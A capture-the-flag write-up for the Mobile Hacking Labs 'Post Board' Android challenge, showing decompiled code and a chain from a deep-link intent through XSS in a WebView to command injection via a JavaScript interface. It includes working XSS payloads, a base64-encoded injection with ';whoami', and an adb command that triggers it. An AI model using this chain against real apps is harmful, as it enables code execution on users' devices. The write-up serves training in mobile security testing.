‹ MobiSec

Mobile Hacking Labs - Post Board

Aug 06, 2024

Challenge Overview

The post board challenge explores XSS (Cross-Site Scripting): A web security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users and RCE (Remote Code Execution): A severe security flaw that allows an attacker to remotely execute arbitrary code on the victim’s system.

Recon & Discovery

Running the application

The MainActivity launches with a text area that accepts markdown and posts the input text into sticky note like designs. With the knowledge that the app is vulnerable to XSS, the text area is the most plausible area to test for it.

Reverse Engineering & Code Analysis

However, before testing the text area with XSS payloads, I decompile the app to get an understanding of what’s under the hood.

<activity
    android:name="com.mobilehackinglab.postboard.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="postboard"
            android:host="postmessage"/>
    </intent-filter>
</activity>

The app has only one activity, the .MainActivity. It’s exported and handles an intent with the scheme:postboard and host:postmessage.

Delving into the MainActivity reveals that the activity sets up a WebView and loads a html file from the assests folder –This is what is launched with the text area that prompts Markdown input.

private final void setupWebView(WebView webView) {
    webView.getSettings().setJavaScriptEnabled(true);
    webView.setWebChromeClient(new WebAppChromeClient());
    webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
    webView.loadUrl("file:///android_asset/index.html");
}

The activity also reveals a method handleIntent() that handles intents that match the action, scheme and host. The method loads two javascript interfaces, javascript:WebAppInterface.postMarkdownMessage if the intent data is correct and javascript:WebAppInterface.postCowsayMessage if there’s an exception in handling the intent.

private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
        return;
    }
    ActivityMainBinding activityMainBinding = null;
    try {
        String path = data.getPath();
        byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
        Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
        String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
        ActivityMainBinding activityMainBinding2 = this.binding;
        if (activityMainBinding2 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("binding");
            activityMainBinding2 = null;
        }
        activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
    } catch (Exception e) {
        ActivityMainBinding activityMainBinding3 = this.binding;
        if (activityMainBinding3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("binding");
        } else {
            activityMainBinding = activityMainBinding3;
        }
        activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
    }
}

The @JavaScriptInterface postCowsayMessage, runs the cowsay script with the message given as it’s argument.

public final String runCowsay(String message) {
    Intrinsics.checkNotNullParameter(message, "message");
    try {
        String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
        Process process = Runtime.getRuntime().exec(command);
        ...

The message printed is not validated whatsover and I start thinking that if I trigger an XSS within the app, then I would be able to invoke the JavaScript Interface and execute abitrary commands.

So next step is to trigger an XSS. For this I used the PortSwigger XSS Cheatsheet and got a couple valid payloads.

I find the <img src=x onError=alert('themadbit') /> payload to be straightforward and easier to modify.

Exploitation

With the payload working, I can now modify it to invoke the JavaScript interface directly and get the cowsay script to run.

Using <img src=x onError=window.WebAppInterface.postCowsayMessage('themadbit') /> the app invokes the postCowsayMessage interface the cow says…

But then, this might be as well a self XSS that isn’t severe and I needed to escalate it like a malicious app would.

Using the intent available in the MainActivity together with the scheme and host filtered, I encode the message:

echo -n "<img src=x onError=window.WebAppInterface.postCowsayMessage('themadbit;whoami') />" | base64 -w 0

PGltZyBzcmM9eCBvbkVycm9yPXdpbmRvdy5XZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3RoZW1hZGJpdDt3aG9hbWknKSAvPg==

I send the intent using the encoded payload, that includes an escape/command separator (;) to add a command whoami:

adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.postboard/.MainActivity -d "postboard://postmessage/PGltZyBzcmM9eCBvbkVycm9yPXdpbmRvdy5XZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3RoZW1hZGJpdDt3aG9hbWknKSAvPg=="

And like that, I had an RCE.

Conclusion

I was able to escalate the XSS to an RCE using the JavaScript Interface and a command injection vulnerability exposed by the cowsay util class.

Additional Resources


Catch my MHL Series which brings writeups of the Mobile Hacking Lab Android challenges, that are part of the CAPT course. The labs are good for preparation of the CAPT exam.

- - these writeups assume knowledge in basic android hacking methodolgy and familiarity with tools including adb, jadx(gui), Frida, etc